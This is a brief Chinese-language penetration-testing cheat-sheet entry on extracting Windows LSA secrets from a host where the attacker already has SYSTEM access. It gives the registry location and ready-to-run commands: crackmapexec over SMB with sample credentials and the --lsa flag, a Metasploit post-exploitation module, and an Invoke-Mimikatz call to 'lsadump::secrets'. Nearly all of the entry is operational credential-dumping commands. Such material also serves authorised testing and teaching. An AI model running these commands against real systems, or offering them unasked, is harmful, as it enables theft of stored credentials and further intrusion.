权限：SYSTEM

描述：

对主机具有 SYSTEM 访问权限的攻击者可能会尝试访问 LSA 内容，这些内容中可能会包含各种不同的凭证。LSA 内容存储在 KEY_LOCAL_MACHINE\SECURITY\Policy\Secrets

Crackmapexec

crackmapexec smb '10.10.10.100' -u 'moe' -p 'Password123' --lsa

MSF

use post/windows/gather/lsa_secrets

Mimikatz

Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"'

参考

LSA Secrets - Pentest Everything